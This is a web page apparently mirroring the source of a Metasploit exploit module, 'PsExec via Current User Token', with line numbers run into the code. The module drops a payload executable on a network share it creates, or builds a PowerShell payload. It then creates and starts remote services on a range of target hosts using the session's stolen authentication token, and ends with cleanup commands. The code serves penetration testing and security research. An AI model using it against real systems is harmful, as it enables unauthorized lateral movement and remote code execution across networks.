Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/current_user_psexec.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Post::Windows::Services9include Exploit::EXE10include Exploit::Powershell11include Post::File1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'PsExec via Current User Token',18'Description' => %q{19This module uploads an executable file to the victim system, creates20a share containing that executable, creates a remote service on each21target system using a UNC path to that file, and finally starts the22service(s).2324The result is similar to psexec but with the added benefit of using25the session's current authentication token instead of having to know26a password or hash.27},28'License' => MSF_LICENSE,29'Author' => [30'egypt',31'jabra' # Brainstorming and help with original technique32],33'References' => [34# same as for windows/smb/psexec35[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)36[ 'OSVDB', '3106'],37[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]38],39'DefaultOptions' => {40'WfsDelay' => 10,41},42'DisclosureDate' => '1999-01-01',43'Arch' => [ARCH_X86, ARCH_X64],44'Platform' => [ 'win' ],45'SessionTypes' => [ 'meterpreter' ],46'Targets' => [ [ 'Universal', {} ] ],47'DefaultTarget' => 0,48'Compat' => {49'Meterpreter' => {50'Commands' => %w[51stdapi_fs_mkdir52stdapi_sys_config_getenv53]54}55}56)57)5859register_options([60OptString.new("INTERNAL_ADDRESS", [61false,62"Session's internal address or hostname for the victims to grab the " +63"payload from (Default: detected)"64]),65OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),66OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),67OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),68OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),69OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])70])71end7273def exploit74name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)75display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)76if datastore['TECHNIQUE'] == 'SMB'77# XXX Find the domain controller7879# share_host = datastore["INTERNAL_ADDRESS"] || detect_address80share_host = datastore["INTERNAL_ADDRESS"] || session.session_host81print_status "Using #{share_host} as the internal address for victims to get the payload from"8283# Build a random name for the share and directory84share_name = Rex::Text.rand_text_alphanumeric(8)85drive = session.sys.config.getenv('SYSTEMDRIVE')86share_dir = "#{drive}\\#{share_name}"8788# Create them89print_status("Creating share #{share_dir}")90session.fs.dir.mkdir(share_dir)91cmd_exec("net share #{share_name}=#{share_dir}")9293# Generate an executable from the shellcode and drop it in the share94# directory95filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"96payload_exe = generate_payload_exe_service(97:servicename => name,98# XXX Ghetto99:arch => payload.send(:pinst).arch.first100)101102print_status("Dropping payload #{filename}")103write_file("#{share_dir}\\#{filename}", payload_exe)104105service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"106else107service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)108end109110begin111if datastore['KERBEROS']112targets = datastore['RHOSTS'].split(', ').map { |a| a.split(' ') }.flatten113else114targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])115end116117targets.each do |server|118begin119print_status("#{server.ljust(16)} Creating service #{name}")120121service_create(name,122{123:display => display_name,124:path => service_executable,125:starttype => "START_TYPE_MANUAL"126},127server)128129# If everything went well, this will create a session. If not, it130# might be permissions issues or possibly we failed to create the131# service.132print_status("#{server.ljust(16)} Starting the service")133service_start(name, server)134135print_status("#{server.ljust(16)} Deleting the service")136service_delete(name, server)137rescue Rex::TimeoutError138vprint_status("#{server.ljust(16)} Timed out...")139next140rescue RuntimeError, ::Rex::Post::Meterpreter::RequestError141print_error("Exception running payload: #{$!.class} : #{$!}")142print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")143print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")144next145end146end147ensure148if datastore['TECHNIQUE'] == 'SMB'149print_status("Deleting share #{share_name}")150cmd_exec("net share #{share_name} /delete /y")151print_status("Deleting files #{share_dir}")152cmd_exec("cmd /c rmdir /q /s #{share_dir}")153end154end155end156end157158159